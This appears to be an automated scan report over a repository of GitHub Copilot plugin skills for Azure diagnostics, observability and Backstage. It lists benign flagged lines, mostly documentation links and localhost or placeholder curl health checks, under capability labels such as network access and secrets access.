local code code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null) local rc=$? - Network accessline 146
code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null) - Network accessline 149
echo "reachable (HTTP $code)" else echo "BLOCKED (curl exit $rc)" - Network accessline 150
else echo "BLOCKED (curl exit $rc)" fi - Network accessline 151
echo "BLOCKED (curl exit $rc)"
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/aks/networking.md
- Network accessline 3
For CNI-specific issues, check CNI pod health and review [AKS networking concepts](https://learn.microsoft.com/azure/aks/concepts-network). - Network accessline 15
# This creates a temporary pod. Prefer read-only checks first. # Only use it after the user explicitly approves a mutating test. kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \ - Network accessline 16
# Only use it after the user explicitly approves a mutating test. kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \ curl -sv http://<service>.<ns>.svc.cluster.local:<port>/healthz - Network accessline 17
kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \ - Network accessline 18
curl -sv http://<service>.<ns>.svc.cluster.local:<port>/healthz
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/aks/node-issues.md
- Network accessline 97
See [AKS resource reservations](https://learn.microsoft.com/azure/aks/concepts-clusters-workloads#resource-reservations) for allocatable math.
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/aks/spot-and-zone-issues.md
- Network accessline 64
Use `Premium_ZRS` or `StandardSSD_ZRS` in custom StorageClasses to reduce zonal PVC conflicts. See [AKS storage best practices](https://learn.microsoft.com/azure/aks/operator-best-practices-storage).
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/cannot-connect-to-vm.md
- Network accessline 48
[Windows RDP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection - Network accessline 49
[Linux SSH]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection - Network accessline 50
[Windows VM hub]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/welcome-virtual-machines-windows - Network accessline 51
[Linux VM hub]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/welcome-virtual-machines-linux
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/credential-auth-errors.md
- Dangerous shell operationline 16
| sudo prompt fails | Linux | Fix sudoers via Run Command or Serial Console | [SSH overview] | - Network accessline 33
[Reset RDP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp - Network accessline 34
[RDP overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection - Network accessline 35
[RDP errors]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rdp-errors - Network accessline 36
[CredSSP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/credssp-encryption-oracle-remediation - Network accessline 37
[SSH detail]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/detailed-troubleshoot-ssh-connection - Network accessline 38
[SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/firewall-blocking.md
- Network accessline 36
[Guest firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/guest-os-firewall-blocking-inbound-traffic - Network accessline 37
[Firewall rule]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/enable-disable-firewall-rule-guest-os - Network accessline 38
[Offline firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/disable-guest-os-firewall-windows - Network accessline 39
[SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection - Network accessline 40
[Linux repair]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/repair-linux-vm-using-azure-virtual-machine-repair-commands
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/network-connectivity.md
- Network accessline 36
[RDP NSG]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nsg-problem - Network accessline 37
[Traffic filter]: https://learn.microsoft.com/en-us/azure/network-watcher/diagnose-vm-network-traffic-filtering-problem - Network accessline 38
[Routing]: https://learn.microsoft.com/en-us/azure/network-watcher/diagnose-vm-network-routing-problem - Network accessline 39
[Public IP]: https://learn.microsoft.com/en-us/azure/virtual-network/ip-services/public-ip-addresses - Network accessline 40
[RDP NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nic-disabled - Network accessline 41
[Reset NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-network-interface - Network accessline 42
[DHCP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-dhcp-disabled - Network accessline 43
[SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/rdp-connectivity.md
- Network accessline 34
[RDP NSG]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nsg-problem - Network accessline 35
[Guest firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/guest-os-firewall-blocking-inbound-traffic - Network accessline 36
[RDP errors]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rdp-errors - Network accessline 37
[Internal]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-internal-error - Network accessline 38
[General]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-general-error - Network accessline 39
[Detailed]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubleshoot-rdp - Network accessline 40
[RDP overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection - Network accessline 41
[Event IDs]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/event-id-troubleshoot-vm-rdp-connecton - Network accessline 42
[RDP NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nic-disabled
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/rdp-service-config.md
- Network accessline 7
| Symptom | Solution | Documentation - Network accessline 8
| -------------------------------------- | ---------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- - Network accessline 9
| TermService not running | Start the service and set to Automatic | [Reset RDP service](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp) - Network accessline 10
| RDP port changed from 3389 | Reset port or update NSG to allow the custom port | [Detailed RDP troubleshooting](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubl - Network accessline 11
| RDP disabled (fDenyTSConnections = 1) | Reset RDP config via CLI or Portal | [Reset RDP service](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp) - Network accessline 12
| TLS/SSL certificate expired or corrupt | Delete cert and restart TermService to regenerate | [RDP internal error](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-internal - Network accessline 13
| NLA/Security Layer mismatch | Temporarily disable NLA for recovery | [RDP general error](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-general-e - Network accessline 14
| GPO overriding local RDP settings | Check `HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services` | [Detailed RDP troubleshooting](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubl - Network accessline 15
| RDS licensing expired | Remove RDSH role or configure license server | [Specific RDP errors](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rd
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/ssh-connectivity.md
- Network accessline 34
[SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection - Network accessline 35
[SSH detail]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/detailed-troubleshoot-ssh-connection - Network accessline 36
[Debian]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/cannot-connect-debian-linux - Network accessline 37
[SELinux]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/linux-selinux-troubleshooting - Network accessline 38
[UEFI]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/azure-linux-vm-uefi-boot-failures
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/compute/references/vm-agent-not-responding.md
- Network accessline 9
| Symptom | OS | Solution | Documentation - Network accessline 10
| ---------------------------------------------------------------- | ------- | -------------------------------------------------------- | ------------------------------------------------------------------------------------------------------ - Network accessline 11
| Run Command times out | Windows | VM agent may be down — use Serial Console instead | [Serial Console — Windows](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windo - Network accessline 12
| Run Command times out | Linux | VM agent may be down — use Serial Console instead | [Serial Console — Linux](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/s - Network accessline 13
| Password reset fails via Portal/CLI | Windows | VMAccess extension can't communicate — use offline reset | [Reset password without agent](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/w - Network accessline 14
| Password/key reset fails via Portal/CLI | Linux | VMAccess extension can't communicate — use Serial Console | [Serial Console — Linux](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/ - Network accessline 15
| VM not booting (Boot Diagnostics shows BSOD/stuck) | Windows | OS-level issue — use repair VM for offline fix | [Repair Windows VM](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/repa - Network accessline 16
| VM not booting (Boot Diagnostics shows kernel panic/stuck) | Linux | Use repair VM for offline Linux disk fix | [Repair Linux VM](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/repair-l - Network accessline 17
| VMAccess extension error on domain controller | Windows | VMAccess doesn't support DCs — use Serial Console | [Serial Console — Windows](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windo
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-dotnet.md
- Network accessline 3
Package: `Azure.Messaging.EventHubs` | [README](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/A - Network accessline 27
Configure via `EventHubsRetryOptions` when creating the client. See [Configuring retry thresholds sample](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/samples). - Network accessline 31
- **Socket exhaustion**: Treat clients as singletons. Share `EventHubConnection` across clients if needed. Always call `CloseAsync` or `DisposeAsync`. - **HTTP 412/409 from storage**: Normal during checkpoint store operations — not an error - Network accessline 32
- **HTTP 412/409 from storage**: Normal during checkpoint store operations — not an error. - **Partitions closing frequently**: Expected when scaling. If persists >5 min without scaling, investigate. See [Troubleshooting Guide](https://gith - Network accessline 33
- **Partitions closing frequently**: Expected when scaling. If persists >5 min without scaling, investigate. See [Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/TROUBLESHOO
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-java.md
- Network accessline 3
Package: `azure-messaging-eventhubs` | [README](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhubs/azure-messaging-eventhubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhu - Network accessline 5
> ⚠<U+FE0F> **Note:** The detailed Java troubleshooting guide has moved to [Microsoft Learn](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-event-hubs-overview). - Network accessline 29
See [Java SDK logging docs](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-event-hubs-overview) for details.
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-js.md
- Network accessline 3
Package: `@azure/event-hubs` | [README](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/eventhub/event-hubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/eventhub/event-hubs/TROUBLESHOOTING
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-py.md
- Network accessline 3
Package: `azure-eventhub` | [README](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/eventhub/azure-eventhub) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/eventhub/azure-eventhub/TRO
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-dotnet.md
- Network accessline 3
Package: `Azure.Messaging.ServiceBus` | [README](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/servicebus/Azure.Messaging.ServiceBus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/servic - Network accessline 12
| `ServiceBusException` (QuotaExceeded) | Too many concurrent receives | Reduce receivers or use batch receives | | `ServiceBusException` (MessageSizeExceeded) | Message or batch too large | Reduce payload. Premium tier supports individual - Network accessline 13
| `ServiceBusException` (MessageSizeExceeded) | Message or batch too large | Reduce payload. Premium tier supports individual messages up to 100MB. Batch limit is artificially computed on the client from the max message size sent by the ser - Network accessline 14
| `ServiceBusException` (ServiceBusy) | Request throttled | Auto-retried with 10s backoff. See [throttling docs](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-throttling) |
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-java.md
- Network accessline 3
Package: `azure-messaging-servicebus` | [README](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/servicebus/azure-messaging-servicebus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/serv - Network accessline 30
Even with prefetch disabled in the builder, `receiveMessages` API can re-enable prefetch implicitly. See [SyncReceiveAndPrefetch](https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/servicebus/azure-messaging-servicebus/docs/SyncRecei - Network accessline 45
See [Java SDK logging docs](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-service-bus-overview) for details.
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-js.md
- Network accessline 3
Package: `@azure/service-bus` | [README](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/servicebus/service-bus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/servicebus/service-bus/TROUBLES
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-py.md
- Network accessline 3
Package: `azure-servicebus` | [README](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/servicebus/azure-servicebus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/servicebus/azure-ser
harness/github-copilot/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/service-troubleshooting.md
- Network accessline 9
1. **Verify connection string** — Get from Azure portal. For **Event Hubs (Kafka endpoint)** clients, also check `producer.config` / `consumer.config`. 2. **Check service outage** — [Azure status page](https://azure.status.microsoft/status) - Network accessline 10
2. **Check service outage** — [Azure status page](https://azure.status.microsoft/status) - Network accessline 80
- [Event Hubs troubleshooting guide](https://learn.microsoft.com/azure/event-hubs/troubleshooting-guide) - Network accessline 81
- [Service Bus troubleshooting guide](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-troubleshooting-guide) - Network accessline 82
- [Event Hubs quotas and limits](https://learn.microsoft.com/azure/event-hubs/event-hubs-quotas) - Network accessline 83
- [Service Bus quotas and limits](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-quotas) - Network accessline 84
- [Event Hubs AMQP troubleshooting](https://learn.microsoft.com/azure/event-hubs/event-hubs-amqp-troubleshoot) - Network accessline 85
- [Service Bus AMQP troubleshooting](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-amqp-troubleshoot) - Network accessline 86
- [Event Hubs IP addresses and service tags](https://learn.microsoft.com/azure/event-hubs/troubleshooting-guide#what-ip-addresses-do-i-need-to-allow) - Network accessline 87
- [Service Bus IP addresses](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-faq#what-ip-addresses-do-i-need-to-add-to-allowlist-)
harness/github-copilot/plugins/azure-observability-operations/skills/azure-observability-stack/SKILL.md
- Network accessline 31
# Add Helm repos helm repo add prometheus-community https://prometheus-community.github.io/helm-charts - Network accessline 32
helm repo add prometheus-community https://prometheus-community.github.io/helm-charts - Network accessline 79
# Check Prometheus targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 80
curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 83
[Credential-related source omitted] - Network accessline 85
curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name' - Network accessline 98
# Query Prometheus API curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result' - Network accessline 99
curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result' - Network accessline 101
# Check targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 102
curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 114
[Credential-related source omitted] - Network accessline 116
curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name' - Network accessline 124
# List active alerts curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname' - Network accessline 125
curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname'
harness/github-copilot/plugins/azure-observability-operations/skills/azure-observability-stack/references/troubleshooting.md
- Network accessline 14
# Check for scrape errors curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}' - Network accessline 15
curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}'
harness/github-copilot/plugins/azure-observability-operations/skills/azure-reliability/references/configure-health-probes.md
- Network accessline 27
3. **Two endpoints, not one** — a fast `/health` for the load balancer, and an optional `/health/deep` for on-call diagnostics. 4. **For Container Apps, both liveness AND readiness** — liveness alone restarts the container without taking it - Network accessline 29
5. **Test the endpoint** before relying on it: `curl https://<app-url>/api/health`.
harness/github-copilot/plugins/azure-observability-operations/skills/azure-reliability/references/configure-multi-region.md
- Network accessline 276
output endpoint string = 'https://${endpoint.properties.hostName}' - Access to secretsline 441
[Credential-related source omitted] - Access to secretsline 442
[Credential-related source omitted] - Access to secretsline 448
[Credential-related source omitted] - Access to secretsline 449
[Credential-related source omitted] - Access to secretsline 456
[Credential-related source omitted] - Access to secretsline 457
[Credential-related source omitted] - Access to secretsline 464
[Credential-related source omitted] - Access to secretsline 467
[Credential-related source omitted] - Access to secretsline 468
[Credential-related source omitted] - Network accessline 563
# Check Front Door endpoint is responding curl -I https://<front-door-name>-endpoint.z01.azurefd.net/api/health - Network accessline 564
curl -I https://<front-door-name>-endpoint.z01.azurefd.net/api/health
harness/github-copilot/plugins/azure-observability-operations/skills/azure-reliability/references/health-probe-checks.md
- Network accessline 68
3. **Two endpoints, not one** — fast `/health` for the load balancer, optional `/health/deep` for on-call diagnostics. 4. **For Container Apps, both liveness AND readiness** — liveness alone restarts the container without taking it out of r - Network accessline 70
5. **Test the endpoint** before relying on it: `curl https://<app-url>/api/health`.
harness/github-copilot/plugins/azure-observability-operations/skills/azure-reliability/references/services/app-service/reliability.md
- Network accessline 59
# Rules must be set via ARM PATCH (CLI doesn't expose autoHealRules directly) az rest --method patch \ --uri "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Web/sites/{app}/config/web?api-version= - Network accessline 60
az rest --method patch --uri "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Web/sites/{app}/config/web?api-version=2022-03-01" - Network accessline 61
--uri "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Web/sites/{app}/config/web?api-version=2022-03-01" \
harness/github-copilot/plugins/azure-observability-operations/skills/azure-reliability/references/services/functions/reliability.md
- Network accessline 197
- [Reliability in Azure Functions (Microsoft Learn)](https://learn.microsoft.com/en-us/azure/reliability/reliability-functions)
harness/github-copilot/plugins/backstage-expert/skills/app-frontend-system-migration/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/github-copilot/plugins/backstage-expert/skills/app-frontend-system-migration/references/upstream/SKILL.md
- Network accessline 648
- [App migration guide](https://backstage.io/docs/frontend-system/building-apps/migrating) - Network accessline 649
- [Architecture overview](https://backstage.io/docs/frontend-system/architecture/index) - Network accessline 650
- [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints) - Network accessline 651
- [Installing plugins](https://backstage.io/docs/frontend-system/building-apps/installing-plugins)
harness/github-copilot/plugins/backstage-expert/skills/backstage-ai-catalog/SKILL.md
- Network accessline 64
- [AI in the Software Catalog](https://backstage.io/docs/ai/ai-in-the-catalog)
harness/github-copilot/plugins/backstage-expert/skills/backstage-authentication/SKILL.md
harness/github-copilot/plugins/backstage-expert/skills/backstage-catalog-db-performance/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/github-copilot/plugins/backstage-expert/skills/backstage-external-integrations/references/azure-devops.md
harness/github-copilot/plugins/backstage-expert/skills/backstage-external-integrations/references/github.md
- Network accessline 27
First-party source: <https://backstage.io/docs/integrations/github/github-apps>.
harness/github-copilot/plugins/backstage-expert/skills/backstage-external-integrations/references/servicenow.md
harness/github-copilot/plugins/backstage-expert/skills/backstage-framework/SKILL.md
harness/github-copilot/plugins/backstage-expert/skills/backstage-kubernetes/SKILL.md
harness/github-copilot/plugins/backstage-expert/skills/backstage-mcp-actions/SKILL.md
harness/github-copilot/plugins/backstage-expert/skills/backstage-notifications/SKILL.md
harness/github-copilot/plugins/backstage-expert/skills/backstage-permissions/SKILL.md
harness/github-copilot/plugins/backstage-expert/skills/backstage-plugin-builder/references/official-docs.md
- Network accessline 5
| Topic | Official source | | --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> | - Network accessline 6
| --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> | | New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> | - Network accessline 7
| Standalone Backstage app | <https://backstage.io/docs/getting-started/> | - Network accessline 8
| New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> | - Network accessline 9
| New backend plugins and modules | <https://github.com/backstage/backstage/blob/master/docs/backend-system/building-plugins-and-modules/01-index.md> | - Network accessline 10
| Legacy plugin creation reference | <https://backstage.io/docs/plugins/create-a-plugin/> | - Network accessline 11
| Plugin structure reference | <https://backstage.io/docs/plugins/structure-of-a-plugin/> | - Network accessline 12
| Composability and routing reference | <https://backstage.io/docs/plugins/composability/> | - Network accessline 13
| Community plugin contribution | <https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md> | - Network accessline 14
| Backstage repository contribution | <https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md> |
harness/github-copilot/plugins/backstage-expert/skills/backstage-plugin-builder/scripts/create_backstage_plugin_artifacts.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/backstage-expert/skills/backstage-plugin-builder/scripts/test_validate_backstage_plugin.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/backstage-expert/skills/backstage-plugin-builder/scripts/validate_backstage_plugin.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/backstage-expert/skills/backstage-plugin-builder/scripts/validate_official_docs.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 13
URLS = [ "https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md", - Network accessline 14
"https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md", - Network accessline 15
"https://raw.githubusercontent.com/backstage/backstage/master/docs/backend-system/building-plugins-and-modules/01-index.md", - Network accessline 16
"https://backstage.io/docs/plugins/create-a-plugin/", - Network accessline 17
"https://backstage.io/docs/plugins/composability/", - Network accessline 18
"https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md", - Network accessline 19
"https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md", - Network accessline 23
def check_url(url: str, timeout: int) -> dict: request = urllib.request.Request( - Network accessline 24
request = urllib.request.Request( - Network accessline 25
url, headers={"User-Agent": "backstage-plugin-builder-doc-check"}) try: with urllib.request.urlopen(request, timeout=timeout) as response: - Network accessline 26
try: with urllib.request.urlopen(request, timeout=timeout) as response: return {"url": url, "status": response.status, "ok": 200 <= response.status < 400} - Network accessline 27
with urllib.request.urlopen(request, timeout=timeout) as response:
harness/github-copilot/plugins/backstage-expert/skills/backstage-search/SKILL.md
harness/github-copilot/plugins/backstage-expert/skills/backstage-workspace-kit/scripts/install_workspace_kit.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/backstage-expert/skills/backstage-workspace-kit/scripts/test_install_workspace_kit.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/backstage-expert/skills/mui-to-bui-migration/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/github-copilot/plugins/backstage-expert/skills/mui-to-bui-migration/references/upstream/SKILL.md
harness/github-copilot/plugins/backstage-expert/skills/onboard-to-openapi-server/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/github-copilot/plugins/backstage-expert/skills/onboard-to-openapi-server/references/upstream/SKILL.md
- Network accessline 76
- [`plugins/events-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/schema/openapi.yaml) — small, modern reference. - Network accessline 77
- [`plugins/scaffolder-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/schema/openapi.yaml) — larger, with more parameter and schema reuse. - Network accessline 78
- [`plugins/catalog-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/catalog-backend/src/schema/openapi.yaml) — largest, good for query-param-heavy endpoints. - Network accessline 145
[`plugins/events-backend/src/service/hub/createEventBusRouter.ts`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/service/hub/createEventBusRouter.ts) is the canonical example. - Network accessline 178
[`plugins/events-node/src/generated/`](https://github.com/backstage/backstage/tree/master/plugins/events-node/src/generated) is a reference for what a client output looks like. - Network accessline 202
[`plugins/scaffolder-backend/src/service/router.test.ts`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/service/router.test.ts) and [`plugins/catalog-backend/src/service/createRouter.test.ts`](https://git - Network accessline 216
